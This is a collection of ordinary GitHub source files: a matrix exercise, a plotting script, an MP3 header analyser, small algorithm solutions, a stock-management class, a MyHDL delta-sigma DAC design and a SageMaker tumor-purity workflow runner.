y0):\n l += matrix[i][j]\n totalQ += l\n prodQ *= l\n \n if prod == False:\n return totalQ\n else:\n return prodQ\n \n\ndef revertArray(line):\n return line[::-1]\n\ndef revertLine(matrix, n, line):\n matrix[line] = revertArray(matrix[line])\n return matrix\n \n\ndef revertCol(matrix, n, col):\n temp =[]\n for i in range (2*n):\n temp.append(matrix[i][col])\n #temp[1,i] = matrix[i][col-1]\n \n temp = revertArray(temp)\n for i in range (2*n):\n matrix[i][col] = temp[i]\n \n return matrix[:]\n\n\n\ndef getBigger(matrix):\n print(matrix)\n q1 = sumQ(matrix, 1) #, 0, n , 0, n)\n q2 = sumQ(matrix, 2) #, 0, n, n, 2*n)\n q3 = sumQ(matrix, 3) #, n, 2*n, 0, n)\n q4 = sumQ(matrix, 4) #, n, 2*n, n, 2*n)\n \n #while max(q1,q2,q3,q4) != q1: \n if max(q1,q2,q3,q4) == q1:\n return matrix\n \n elif max(q1,q2,q3,q4) == q4:\n if max(q2,q3) == q2 and q2 != q4:\n temp = []\n tempM = []\n for i in range(n, 2*n):\n tempM.append(revertCol(copy.deepcopy(matrix), n, i)[::1])\n temp.append(sumQ(tempM[i -n ], i))\n\n for i in range(len(temp)):\n if temp[i] == max(temp):\n #return getBigger(tempM[i]) \n print('q4 q2')\n \n elif max(q2,q3) == q3 and q3 != q4: \n temp = []\n tempM = []\n for i in range(n, 2*n):\n tempM.append(revertLine(copy.deepcopy(matrix), n, i)[::1])\n temp.append(sumQ(tempM[i -n ], i))\n\n for i in range(len(temp)):\n if temp[i] == max(temp):\n #print(tempM[i])\n print('q4 q3')\n return getBigger(copy.deepcopy(tempM[i]))\n elif q3 == q4:\n temp = []\n tempM = []\n for i in range(0, n):\n tempM.append(revertLine(copy.deepcopy(matrix), n, i)[::1])\n temp.append(sumQ(tempM[i -n ], i))\n\n print(temp)\n for i in range(len(temp)):\n if temp[i] == max(temp):\n print(tempM[i])\n print('q2 == q3')\n #return getBigger(copy.deepcopy(tempM[i]))\n \n \n elif max(q1,q2,q3,q4) == q2:\n temp = []\n tempM = []\n for i in range(0, n):\n tempM.append(revertLine(copy.deepcopy(matrix), n, i)[::1])\n temp.append(sumQ(tempM[i], i))\n\n for i in range(len(temp)):\n if temp[i] == max(temp):\n print('q2')\n #return getBigger(tempM[i]) \n \n \n \n elif max(q1,q2,q3,q4) == q3:\n temp = []\n tempM = []\n for i in range(0, n):\n tempM.append(revertCol(copy.deepcopy(matrix), n, i)[::1])\n temp.append(sumQ(tempM[i], i))\n\n for i in range(len(temp)):\n if temp[i] == max(temp):\n print('q3')\n #return getBigger(tempM[i]) \n \n \n \ndef getNewBigger(matrix):\n print(matrix)\n q1 = sumQ(matrix, 1) #, 0, n , 0, n)\n q2 = sumQ(matrix, 2) #, 0, n, n, 2*n)\n q3 = sumQ(matrix, 3) #, n, 2*n, 0, n)\n q4 = sumQ(matrix, 4) #, n, 2*n, n, 2*n)\n \n if max(q1,q2,q3,q4) == q1:\n return copy.deepcopy(matrix)\n \n \n \nprint(matrix) \nmatrix = getNewBigger(matrix)\nprint(sumQ(matrix, 1))\n\n#print('q1: {0} - q2: {1} - q3: {2} - q4: {3}'.format(q1,q2,q3,q4))\n\n#print(sumQ(matrix, 1))\n \n\n#print(revertLine(matrix, n, 4))\n \n \n#print(maxQ) \n#print(matrix)\n#print(matrix[0])\n#print(matrix[0][::-1])","repo_name":"fkfouri/HackerHank_PythonStudy","sub_path":"Problem Solving/010 - Matrix.py","file_name":"010 - Matrix.py","file_ext":"py","file_size_in_byte":4721,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"40350077420","text":"import matplotlib as mpl\nimport matplotlib.pyplot as plt\n\n\nplt.rcParams['font.sans-serif'] = ['SimHei'] # 步骤一(替换sans-serif字体)\nplt.rcParams['axes.unicode_minus'] = False # 步骤二(解决坐标轴负数的负号显示问题)\n\n\nresultDict=dict()\n\nresultDict['KNN'] = 0.482\nresultDict['决策树'] = 0.612\nresultDict['RNNLSTM'] = 0.972\nresultDict['朴素贝叶斯'] = 0.612\n\nplt.figure(\"算法比较输出结果\")\nplt.title(\"算法比较输出结果\")\nplt.bar(list(resultDict.keys()), list(resultDict.values()), color='rgb', label='result')\nplt.xlabel('methods')\nplt.ylabel('result accuracy')\nplt.show()","repo_name":"zeusguan/python_work","sub_path":"课程设计/code/result.py","file_name":"result.py","file_ext":"py","file_size_in_byte":625,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"28494426969","text":"#!/usr/bin/env python3\nimport os\nimport sys\n\nif len(sys.argv) > 1 and os.path.isfile(sys.argv[1]):\n INPUT_FILE = sys.argv[1]\nelse:\n INPUT_FILE = 'audio_files/761.MP3' # '761.MP3' 'index.mp3'\n # print('File not found.')\n # exit()\n\n\nclass MP3Header(object):\n # https://id3.org/mp3Frame\n # http://mpgedit.org/mpgedit/mpeg_format/MP3Format.html\n # http://www.mpgedit.org/mpgedit/mpeg_format/mpeghdr.htm\n # Starts with 11x 1-byte\n SYNC = '' # 11 bit\n ID = { # 2 bit (but reduced to 1 later)\n 0b00: 'MPEG Version 2.5',\n 0b01: 'reserved',\n 0b10: 'MPEG Version 2 (ISO/IEC 13818-3)',\n 0b11: 'MPEG Version 1 (ISO/IEC 11172-3)'}\n LAYER = { # 2 bit (but -1 later)\n 0b00: 'reserved',\n 0b01: 'Layer III',\n 0b10: 'Layer II',\n 0b11: 'Layer I'}\n PROTECTION = { # 1 bit\n 0: 'Protected', # 16bit CRC after header\n 1: 'Not Protected'}\n BITRATE = { # 4 bit\n # MPEG2-Layer3, M2-L2, M2-L1, M1-L3, M1-L2, M1-L1 in kbit/s\n 0b0000: [0, 0, 0, 0, 0, 0], # free\n 0b0001: [8000, 32000, 32000, 32000, 32000, 32000],\n 0b0010: [16000, 48000, 64000, 40000, 48000, 64000],\n 0b0011: [24000, 56000, 96000, 48000, 56000, 96000],\n 0b0100: [32000, 64000, 128000, 56000, 64000, 128000],\n 0b0101: [64000, 80000, 160000, 64000, 80000, 160000],\n 0b0110: [80000, 96000, 192000, 80000, 96000, 192000],\n 0b0111: [56000, 112000, 224000, 96000, 112000, 224000],\n 0b1000: [64000, 128000, 256000, 112000, 128000, 256000],\n 0b1001: [128000, 160000, 288000, 128000, 160000, 288000],\n 0b1010: [160000, 192000, 320000, 160000, 192000, 320000],\n 0b1011: [112000, 224000, 352000, 192000, 224000, 352000],\n 0b1100: [128000, 256000, 384000, 224000, 256000, 384000],\n 0b1101: [256000, 320000, 416000, 256000, 320000, 416000],\n 0b1110: [320000, 384000, 448000, 320000, 384000, 448000],\n 0b1111: [0, 0, 0, 0, 0, 0]} # bad\n FREQUENCY = { # 2 bit in Hz\n # MPEG-2, MPEG-1, MPEG-2.5 (not used)\n 0b00: [22050, 44100, 11025],\n 0b01: [24000, 48000, 12000],\n 0b10: [16000, 32000, 8000],\n 0b11: [0, 0, 0]} # reserved\n PADDING = { # 1 bit\n 0: 'Padded', # +1 byte to frame length\n 1: 'Not Padded'}\n PRIVATE = { # 1 bit\n 0: 'free', # freely used for whatever\n 1: 'free'}\n MODE = { # 2 bit\n 0b00: 'Stereo',\n 0b01: 'Joint stereo (Stereo)',\n 0b10: 'Dual channel (2 mono channels)',\n 0b11: 'Single channel (Mono)'}\n MODE_EXTENSION = { # 2 bit\n # Layer I & II Layer III\n # Intensity stereo MS stereo\n # 0b00 bands 4 to 31 off off\n # 0b01 bands 8 to 31 on off\n # 0b10 bands 12 to 31 off on\n # 0b11 bands 16 to 31 on on\n }\n COPYRIGHT = { # 1 bit\n 0: 'Not Copyrighted',\n 1: 'Copyrighted'}\n ORIGINAL = { # 1 bit\n 0: 'Copy of Original',\n 1: 'Original'}\n EMPHASIS = { # 2 bit\n 0b00: 'none',\n 0b01: '50/15 ms',\n 0b10: 'reserved',\n 0b11: 'CCIT J.17'}\n MULTIPLY = [144, 144, 12] # frame length multiplier\n # FRAMESIZE = [0, 1152, 1152, 384] # in samples\n # SLOTS = [0, 1, 1, 4] # in bytes\n\n def init_from_bytes(self, b0, b1, b2, b3):\n self.emphasis = b3 & 0b11\n b3 >>= 2\n self.original = b3 & 1\n b3 >>= 1\n self.copyright = b3 & 1\n b3 >>= 1\n self.mode_extension = b3 & 0b11\n b3 >>= 2\n self.mode = b3 & 0b11\n\n self.private = b2 & 1\n b2 >>= 1\n self.pad = b2 & 1\n b2 >>= 1\n self.frequency = b2 & 0b11\n if self.frequency == 3:\n raise ValueError('Reserved sample rate')\n b2 >>= 2\n self.bitrate = b2 & 0b1111\n if self.frequency == 0b1111:\n raise ValueError('Invalid bitrate')\n\n self.protection = b1 & 1\n b1 >>= 1\n self.layer = b1 & 0b11 # Layer I-III\n if self.layer == 0:\n raise ValueError('Reserved MPEG-Layer')\n b1 >>= 2\n self.id = b1 & 0b11\n b1 >>= 2\n self.sync = (b0 << 3) + (b1 & 0b111)\n if self.sync != 0b11111111111:\n raise ValueError('Not a MP3 header')\n\n def __init__(self, b0, b1, b2, b3):\n self.init_from_bytes(b0, b1, b2, b3)\n\n i_lyr = self.layer - 1 # because arrays\n i_id = self.id & 1 # because arrays\n br = self.BITRATE[self.bitrate][i_lyr + i_id * 3]\n sr = self.FREQUENCY[self.frequency][i_id]\n self.framelength = self.MULTIPLY[i_lyr] * br / sr\n if self.pad:\n self.framelength += 1\n if i_lyr == 2: # LAYER-1\n self.framelength *= 4\n # TODO: check whether CRC length must be added\n # if self.protection == 0:\n self.framelength = int(self.framelength)\n\n def as_bytes(self):\n b = self.sync\n b = b << 2 | self.id\n b = b << 2 | self.layer\n b = b << 1 | self.protection\n b = b << 4 | self.bitrate\n b = b << 2 | self.frequency\n b = b << 1 | self.pad\n b = b << 1 | self.private\n b = b << 2 | self.mode\n b = b << 2 | self.mode_extension\n b = b << 1 | self.copyright\n b = b << 1 | self.original\n b = b << 2 | self.emphasis\n return b.to_bytes(4, 'big')\n\n def __str__(self):\n f = '{:011b} {:02b} {:02b} {:b} {:04b} {:02b} {:b} {:b} {:02b} {:02b} {:b} {:b} {:02b}'\n return f.format(\n self.sync, self.id, self.layer, self.protection, self.bitrate,\n self.frequency, self.pad, self.private, self.mode,\n self.mode_extension, self.copyright, self.original, self.emphasis)\n\n\ndef bin_to_hex(binary_str):\n ret = ''\n for i in range(0, len(binary_str), 8):\n ret += '{:02X}'.format(int(binary_str[i:i + 8], 2))\n return ret\n\n\ndef bin_to_text(binary_str):\n ret = ''\n for i in range(0, len(binary_str), 8):\n ret += chr(int(binary_str[i:i + 8], 2))\n return ret\n\n\ndef flip_bits(bits):\n return bits.replace('1', '_').replace('0', '1').replace('_', '0')\n\n\n# def read_mp3_headers(bytes, to_file):\n# with open(to_file, 'w') as fo:\n# counter = 0\n# offset = 0\n# for byte in bytes:\n# if offset < 6000: # skip ID3\n# offset += 8\n# continue\n# for x in [128, 64, 32, 16, 8, 4, 2, 1]:\n# offset += 1\n# z = 1 if byte & x else 0\n# if z:\n# counter += 1\n# else:\n# if counter >= 13:\n# fo.write('{}\\n'.format(offset))\n# counter = 0\n\n\n# def prepare_mp3_headers(bytes, header_file):\n# with open(header_file, 'r') as f:\n# indices = [int(x) for x in f.readlines()]\n# all_of_them = []\n# for i in indices[:10]:\n# i -= 14 # beginning of header, 13 + 1 for prev bit\n# major = i // 8\n# minor = i % 8\n# raw_int = 0\n# for u in range(5):\n# raw_int += bytes[major + u] << (32 - u * 8)\n# bit_str = ''\n# for x in range(7 - minor + 32, 7 - minor, -1):\n# bit_str += '1' if raw_int & (1 << x) else '0'\n# try:\n# all_of_them.append((i, MP3Header(bit_str)))\n# except ValueError:\n# pass\n# return all_of_them\n\n\n# def analyze_mp3_headers(bytes, prepared_obj):\n# txt = ''\n# for i, head in prepared_obj:\n# print('{:06d} {} {}'.format(i, head, head.framelength))\n# # if head == '00':\n# # txt += head[7]\n# print(txt)\n# print(bin_to_text(txt))\n\n# read_mp3_headers(bytes, to_file='mp3_header_indices.txt')\n# anlz = prepare_mp3_headers(bytes, header_file='mp3_header_indices.txt')\n# analyze_mp3_headers(bytes, anlz)\n\n\ndef parse_mp3_header(bytes):\n for i, x in enumerate(bytes):\n if x != 0xFF:\n continue\n if bytes[i + 1] >> 5 == 0b111:\n try:\n obj = MP3Header(*bytes[i:i + 4])\n next_at = i + obj.framelength\n except ValueError:\n continue\n try:\n MP3Header(*bytes[next_at:next_at + 4])\n return next_at, obj\n except ValueError:\n continue\n\n\ndef enum_mp3_header(bytes):\n i, header = parse_mp3_header(bytes)\n while header and i < len(bytes):\n header = MP3Header(*bytes[i:i + 4])\n yield i, header\n i += header.framelength\n\n\nwith open(INPUT_FILE, 'rb') as f:\n bytes = f.read()\n\nuniq = [set(), set(), set(), set(), set(),\n set(), set(), set(), set(), set(), set()]\nkeyz = ['id', 'layer', 'protection', 'frequency', 'pad', 'private',\n 'mode_extension', 'copyright', 'original', 'emphasis', 'framelength']\ntxt_chr = ''\ntxt_bit = ''\ncount_header = 0\n\n# # Modify existing new file (a copy)\n# last_i = 0\n# with open(INPUT_FILE + '.modified.mp3', 'wb') as f:\n# for i, header in enum_mp3_header(bytes):\n# f.write(bytes[last_i:i])\n# header.mode_extension = 3\n# f.write(header.as_bytes())\n# last_i = i + 4\n\n# # Split in chunks\n# if not os.path.isdir('tmp'):\n# os.mkdir('tmp')\n# if not os.path.isdir('tmp/mp3_frames'):\n# os.mkdir('tmp/mp3_frames')\n# last_i = 0\n# running_i = 0\n# for i, header in enum_mp3_header(bytes):\n# with open('tmp/mp3_frames/{:06d}.mp3'.format(running_i), 'wb') as f:\n# running_i += 1\n# f.write(bytes[last_i:i])\n# last_i = i\n# exit()\n\ntxt = [''] * 624\n# Parse and analyze header info\nfor i, header in enum_mp3_header(bytes):\n # for x in range(1, 624):\n # txt[x] += '1' if bytes[i - x] & 7 else '0'\n # print(header)\n count_header += 1\n txt_chr += chr(bytes[i - 1])\n txt_bit += '1' if bytes[i - 1] & 1 else '0'\n for i, k in enumerate(keyz):\n uniq[i].add(getattr(header, k))\n\nfor x in range(624):\n if txt[x]:\n print(bin_to_text(txt[x]))\n# exit()\nprint('The unique values per header field:')\nprint({x: y for x, y in zip(keyz, uniq)})\nprint()\n\n\ndef print_bits(bits):\n print('\\nBinary:')\n print(bits)\n print('\\nText (normal):')\n print(bin_to_text(bits))\n print('\\nText (reverse):')\n print(bin_to_text(bits[::-1]))\n print('\\nText (inverse):')\n print(bin_to_text(flip_bits(bits)))\n print('\\nText (reverse, inverse):')\n print(bin_to_text(flip_bits(bits[::-1])))\n print()\n\n\nprint('Last byte per chunk:')\nprint(txt_chr)\nprint()\nprint('Last bit per chunk:')\nprint_bits(txt_bit)\n\n# find header fields that differ\nfor i in range(len(uniq) - 1, -1, -1):\n if len(uniq[i]) == 1:\n del uniq[i]\n del keyz[i]\n else:\n uniq[i] = uniq[i].pop() # good luck if there are three\n\nif not uniq:\n print('Nothing to do. No header changes value')\nelse:\n txt = [''] * len(uniq)\n # skip_once = True\n for i, header in enum_mp3_header(bytes):\n # if skip_once:\n # skip_once = False\n # continue\n for i, k in enumerate(keyz):\n txt[i] += '1' if getattr(header, k) == uniq[i] else '0'\n for i, k in enumerate(keyz):\n print('Header field:', k)\n print_bits(txt[i])\n\nprint()\nprint('Number of headers: {}'.format(count_header))\nprint()\n","repo_name":"relikd/LiberPrayground","sub_path":"other/761/mp3.py","file_name":"mp3.py","file_ext":"py","file_size_in_byte":11423,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"} +{"seq_id":"16553963597","text":"def modify(string, cnt) :\n if len(string) > 1 :\n cnt += 1\n total = 0\n for i in string :\n total += int(i)\n modify(str(total), cnt)\n else : \n if int(string) % 3 == 0 :\n print(cnt)\n print('YES')\n else : \n print(cnt)\n print('NO')\n\nn = input()\ncnt = 0\n\nmodify(n, cnt)","repo_name":"doitdoik/algorithm","sub_path":"recursive_function/boj_1769.py","file_name":"boj_1769.py","file_ext":"py","file_size_in_byte":365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"70134133388","text":"class Deposito:\n def __init__(self, productos_dao):\n self.productos_dao = productos_dao\n \n def agregar_nuevo_producto(self, producto):\n self.productos_dao.insertar_producto(producto)\n \n def baja_producto(self, producto):\n return self.productos_dao.eliminar_producto(producto)\n \n def actualizar_stock(self, producto, accion):\n producto_db = self.productos_dao.buscar_producto_por_nombre(producto.nombre)\n \n if not producto_db or producto_db == None:\n # Si no se encuentra el producto se retorna falso\n return False\n \n if(accion == 'quitar'):\n stock_actualizado = producto_db.stock - producto.cantidad\n if(stock_actualizado < 0):\n #Esto significa que se pidio mas cantidad de la que hay en stock. No se realiza pedido\n return False\n else: \n if accion == 'agregar':\n stock_actualizado = producto_db.stock + producto.cantidad\n else:\n # accion desconocida\n return False \n \n #En este punto solo se llega si se quiso reducir stock y el stock restante no es negativo\n #o se llego porque se quiso aumentar el stock.\n producto_db.actualizar_stock(stock_actualizado)\n self.productos_dao.editar_producto(producto_db)\n return True \n \n \n def obtener_productos(self):\n return self.productos_dao.obtener_productos()\n ","repo_name":"Enki0189/ArubaStore","sub_path":"application/domain/Deposito.py","file_name":"Deposito.py","file_ext":"py","file_size_in_byte":1499,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"70524348107","text":"from characters import *\nimport os\n\nclass MenuItem():\n def __init__(self, number, name, action, itemarg = None):\n self.number = number\n self.name = name\n self.action = action\n self.itemarg = itemarg\n\n def display_menu_item(self):\n return ' ' + self.number + ': ' + self.name\n\nclass Menu():\n def __init__(self, itemlist):\n self.itemlist = itemlist\n\n def displaymenu(self):\n os.system('clear')\n print('\\n')\n for item in self.itemlist:\n print(item.display_menu_item())\n\n def user_chooses(self):\n chosen_option = input('\\n>>Please enter the number of the chosen option: \\n>>')\n self.select_and_call_action(chosen_option)\n\n def select_and_call_action(self, chosen_option):\n numberlist = list(map(lambda item: item.number, self.itemlist))\n if chosen_option in numberlist:\n for item in self.itemlist:\n if item.number == chosen_option:\n if item.itemarg == None:\n return item.action()\n return item.action(item.itemarg)\n else:\n print('\\n>>>>INCORRECT INPUT!!!<<<<\\n')\n return 'INCORRECT INPUT'\n self.main()\n\n def main(self):\n self.displaymenu()\n self.user_chooses()\n","repo_name":"green-fox-academy/csmaty","sub_path":"week-6/RPGgame/menu_classes.py","file_name":"menu_classes.py","file_ext":"py","file_size_in_byte":1328,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"38429116227","text":"import math\nimport unittest\nimport sys\n\nfrom myhdl import Signal, delay, Simulation, always_comb, \\\n instance, intbv, bin, toVerilog, toVHDL, always, now, traceSignals\nfrom config import (\n MHZ,\n N,\n WHOLE,\n MASK,\n HALF,\n unsigned_bus,\n signed_bus,\n signed_to_unsigned,\n unsigned_to_signed\n)\n\n\"\"\"\nMake A a 32-bit number. Make B 16 bits, and vc_estimate 16 bits. Then the sum of\nA+B*vc_estimate will be 32 bits, clipped to (1<<32)-1 and take\nthe upper 16 bits for the next value of vc_estimate. Get dac_bit by comparing\nvc_estimate with (target << 2).\n\"\"\"\n\nDT = 1./MHZ\nR = 1000\nC = 0.01e-6\nALPHA = math.exp(-DT / (R * C))\nA = int(round((1. - ALPHA) * (1 << 32)))\nB = int(round(ALPHA * (1 << 16)))\n\n\n# fastclk is the 32 MHz clock to the FPGA\n# clk is the audio-rate clock at 40 kHz, which is high for one fastclk period\ndef interpolator(fastclk, clk, reset, input_data, interp_out):\n\n # There are 800 fastclk periods during each clk period, so on each fastclk we want to\n # advance 1/800th from the previous sound sample to the current sample. 800 is pretty\n # close to (1<<22) divided by 5243, so we can compute a delta by multiplying the\n # difference between samples by 5243, which is easy because it's constant and not too\n # many non-zero bits. By accumulating this difference and right-shifting 22 bits, we\n # arrive almost exactly where we want to end up after 800 accumulations.\n\n FRACTION_BITS = 16\n delay_1 = signed_bus(N)\n x = signed_bus(N)\n interp_step = signed_bus(N + FRACTION_BITS)\n interp_data = signed_bus(N + FRACTION_BITS)\n\n @always(fastclk.posedge, reset.posedge)\n def do_stuff():\n if reset:\n delay_1.next = 0\n interp_data.next = 0\n interp_step.next = 0\n else:\n if clk:\n interp_data.next = delay_1 << FRACTION_BITS\n delay_1.next = input_data\n # multiply by 5243 in binary\n interp_step.next = (x << 12) + (x << 10) + (x << 6) + (x << 5) + \\\n (x << 4) + (x << 3) + (x << 1) + x\n elif (interp_data + interp_step) < interp_data.min:\n interp_data.next = interp_data.min\n elif (interp_data + interp_step) >= interp_data.max:\n interp_data.next = interp_data.max - 1\n else:\n interp_data.next = interp_data + interp_step\n\n @always_comb\n def rightshift_for_output():\n x.next = input_data - delay_1\n interp_out.next = interp_data >> FRACTION_BITS\n\n return (do_stuff, rightshift_for_output)\n\n\ndef delta_sigma_dac(fastclk, clk, reset, input_data, dac_bit):\n\n interp_result = signed_bus(N)\n interp_result_unsigned = unsigned_bus(N)\n # the input of the Xilinx multiplier is an 18-bit factor\n vc_estimate = unsigned_bus(16)\n # the output of the Xilinx multiplier is a 36-bit product\n sum_of_products = unsigned_bus(32)\n dac_bit_internal = Signal(False)\n\n @always_comb\n def drive_dac_bit():\n dac_bit.next = dac_bit_internal\n\n @always(fastclk.posedge, reset.posedge)\n def do_stuff():\n # sum_of_products is the next value for vc_estimate, with lots of fraction\n # bits. vc_estimate already has fraction bits beyond N. All these fraction\n # bits are helpful in keeping out audible artifacts.\n if reset:\n dac_bit_internal.next = 0\n vc_estimate.next = 1 << 15\n else:\n dac_bit_internal.next = interp_result_unsigned > (sum_of_products >> (32 - N))\n vc_estimate.next = sum_of_products >> 16\n\n @always_comb\n def multiply():\n if dac_bit_internal:\n if A + (B * vc_estimate) >= (1 << 32):\n sum_of_products.next = (1 << 32) - 1\n else:\n sum_of_products.next = A + (B * vc_estimate)\n else:\n sum_of_products.next = B * vc_estimate\n\n things = [\n # Interpolation is a huge help with anti-aliasing.\n interpolator(fastclk, clk, reset, input_data, interp_result),\n drive_dac_bit,\n do_stuff,\n multiply,\n signed_to_unsigned(N, interp_result, interp_result_unsigned)\n ]\n return things\n\ndef make_dsig_ios():\n fastclk = Signal(False)\n clk = Signal(False)\n input_data = signed_bus(N)\n dac_bit = Signal(False)\n return (fastclk, clk, input_data, dac_bit)\n\n\nclass TestOutputStage(unittest.TestCase):\n pass # TODO write some tests\n\n\ndef simulate():\n fastclk, clk, input_data, dac_bit = make_dsig_ios()\n dsig = delta_sigma_dac(fastclk, clk, input_data, dac_bit)\n\n @instance\n def bench():\n fastclk.next = 0\n clk.next = 0\n input_data.next = 0\n yield delay(1)\n for j in range(100):\n for i in range(800):\n fastclk.next = 1\n yield delay(1)\n fastclk.next = 0\n yield delay(1)\n input_data.next = input_data + 50\n fastclk.next = 1\n clk.next = 1\n yield delay(1)\n fastclk.next = 0\n yield delay(1)\n clk.next = 0\n\n return (bench, dsig)\n\n\nif __name__ == '__main__':\n if 'hdl' in sys.argv[1:]:\n fastclk, clk, input_data, dac_bit = make_dsig_ios()\n toVerilog(dsig, fastclk, clk, input_data, dac_bit)\n elif 'sim' in sys.argv[1:]:\n Simulation(traceSignals(simulate)).run()\n else:\n suite = unittest.TestLoader().loadTestsFromTestCase(TestOutputStage)\n unittest.TextTestRunner(verbosity=2).run(suite)\n","repo_name":"wware/stuff","sub_path":"learn-stuff/myhdl/output_stage.py","file_name":"output_stage.py","file_ext":"py","file_size_in_byte":5577,"program_lang":"python","lang":"en","doc_type":"code","stars":53,"dataset":"github-code","pt":"82"} +{"seq_id":"27622813258","text":"\ndef apartmentHunting(blocks, reqs):\n closestDistances = list(\n map(lambda req: getClosestDistances(blocks, req), reqs))\n minIdx = -1\n minVal = float('inf')\n i = 0\n while i < len(blocks):\n maxDistance = float('-inf')\n j = 0\n while j < len(reqs):\n maxDistance = max(maxDistance, closestDistances[j][i])\n j += 1\n if(maxDistance < minVal):\n minVal = maxDistance\n minIdx = i\n i += 1\n\n return minIdx\n\n\ndef getClosestDistances(blocks, req):\n closestDistances = [0 for block in blocks]\n closestIdx = float('inf')\n j = 0\n while (j < len(blocks)):\n if blocks[j][req]:\n closestIdx = j\n closestDistances[j] = abs(j - closestIdx)\n j += 1\n\n j = len(blocks) - 1\n while j >= 0:\n if (blocks[j][req]):\n closestIdx = j\n closestDistances[j] = min(closestDistances[j], abs(j - closestIdx))\n j -= 1\n return closestDistances\n\n\nblocks = [\n {\"gym\": False, \"school\": True, \"store\": False},\n {\"gym\": True, \"school\": False, \"store\": False},\n {\"gym\": True, \"school\": True, \"store\": False},\n {\"gym\": False, \"school\": True, \"store\": False},\n {\"gym\": False, \"school\": True, \"store\": True},\n]\nreqs = [\"gym\", \"school\", \"store\"]\nprint(apartmentHunting(blocks, reqs))\n","repo_name":"srinathalla/python","sub_path":"algo/arrays/apartmentHunting.py","file_name":"apartmentHunting.py","file_ext":"py","file_size_in_byte":1337,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"41355416676","text":"\nimport pandas as pd\nimport os\nimport sys\nimport boto3\nimport sagemaker\nimport argparse\nfrom pathlib import Path\nimport subprocess\nimport logging\n\n### setup\nos.environ['AWS_DEFAULT_REGION'] = 'eu-central-1'\n\n### utility functions\ndef list_files(dirname):\n path = Path(dirname) # '/home/janbodnar/Documents/prog/python/')\n\n for e in path.rglob('*'):\n print(e)\n \ndef run_cmd(cmd, dryrun= False, check= True):\n print(cmd)\n if dryrun is not True:\n # print(\"exec\")\n p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)\n out, err= p.communicate()\n if err is not None:\n err= err.decode('UTF-8')\n if out is not None:\n out= out.decode('UTF-8')\n p_status = p.wait()\n\n print(out)\n \n if p_status != 0:\n print(\"** Non-zero status returned! **\")\n if err is not None:\n print(err)\n if check:\n assert p_status==0, \"Command execution failed. Abort!\"\n # subprocess.run(cmd, shell= True, check= check)\n \n### parse arguments\nparser = argparse.ArgumentParser()\n\nparser.add_argument('--input', nargs='+', default= [])\nparser.add_argument('--app-data', type= str, default= None)\nparser.add_argument('--download', nargs='+', default= [])\nparser.add_argument('--show_image_specs', action= 'store_true', help= 'show image specs')\nparser.add_argument('--base_dir', default= '/opt/ml/processing/')\nparser.add_argument('--dryrun', action='store_true')\n\nargs, _ = parser.parse_known_args()\n\nlogging.basicConfig(level=logging.INFO)\nlogging.info(\"Tumor purity workflow\")\nlogging.info(\"input: %s\" % args.input)\nlogging.info(\"app-data: %s\" % args.app_data)\nlogging.info(\"base_dir: %s\" % args.base_dir)\nlogging.info(\"download: %s\" % args.download)\n\n\n################################################\n### download additional input files\n# s3_download(args.download, '/opt/ml/processing/input/downloads')\n\n#for i in args.download:\n# cmd= \"aws s3 cp {} {} --recursive --quiet\".format(i, '/opt/ml/processing/input/downloads')\n# run_cmd(cmd)\n\n# DOWNLOAD_DIR= '/opt/ml/processing/input/downloads'\nBASE_DIR= args.base_dir\nDOWNLOAD_DIR= BASE_DIR+ '/input/downloads'\n\nto_process= []\nif args.input:\n for i in args.input:\n if i.startswith('s3://'):\n local_input= DOWNLOAD_DIR+ \"/\"+ os.path.basename(i)\n logging.info(\"downloading {} to {}\".format(i, local_input))\n to_process.append(local_input)\n \n if not os.path.exists(local_input):\n sagemaker.s3.S3Downloader.download(i, local_path= DOWNLOAD_DIR)\n else:\n logging.info(\"file exists. skipped.\")\n\nlogging.info(\"to process: %s\" % to_process) \n\nif args.app_data:\n app_file= args.app_data\n local_app= DOWNLOAD_DIR+ \"/\"+ os.path.basename(app_file)\n \n logging.info(\"downloading {} -> {}\".format(app_file, local_app))\n if os.path.exists(local_app):\n logging.info(\"%s already exists. skipped.\" % local_app)\n else:\n sagemaker.s3.S3Downloader.download(app_file, local_path= DOWNLOAD_DIR)\n \n cmd= \"tar xfz %s\" % local_app\n run_cmd(cmd)\n \n################################################\n### check input directory to make sure files were copied from s3\n\ninput_dir= BASE_DIR+ \"/input\"\ndir_out= BASE_DIR + \"/output_workflow\"\n\nlogging.info('Checking input directory: %s' % input_dir)\n\nlist_files(input_dir) \n\nif not os.path.isdir(dir_out):\n os.makedirs(dir_out)\n logging.info(\"Creating output directory: %s\" % dir_out)\n################################################\n### main workflow starts here\n###\n### NOTE:\n### * Plug in real workflow here\n################################################\n\nout_specs_file= dir_out + \"/summary_image_specs.csv\"\n# input_files=\" \".join(args.input)\ninput_files= \" \".join([ \"'{}'\".format(i) for i in to_process])\nif args.show_image_specs:\n logging.info(\"extracting image specs\")\n cmd= \"python workflow_tumor_purity.py --input {} --output_dir {} --show_image_specs --output_file {}\".format(input_files, dir_out, out_specs_file)\n logging.info(cmd)\n run_cmd(cmd)\nelse:\n logging.info(\"running tumor purity workflow\")\n cmd= \"python workflow_tumor_purity.py --input {} --output_dir {} \".format(input_files, dir_out)\n logging.info(cmd)\n run_cmd(cmd)\n\n################################################\n### fake workflow here\n################################################\ntodo= []\n#for i in args.input:\n# newfile= '{}.csv'.format(i)\n# print('adding output file', newfile)\n# todo.append(newfile)\n\nif args.dryrun:\n print('dryrun')\n sys.exit()\n\n# sys.exit()\n\n\n# sagemaker.Session(boto3.session.Session())\n\n#\ndat= pd.DataFrame({'num_legs': [2, 4, 8, 0],\n 'num_wings': [2, 0, 0, 0],\n 'num_specimen_seen': [10, 2, 1, 8]},\n index=['falcon', 'dog', 'spider', 'fish'])\n\n# dat.to_csv()\n\noutfiles= ['abc.csv','A2.csv','A3.csv','blahblah.csv']+ todo\n\n# write some random files\nfor i in outfiles:\n 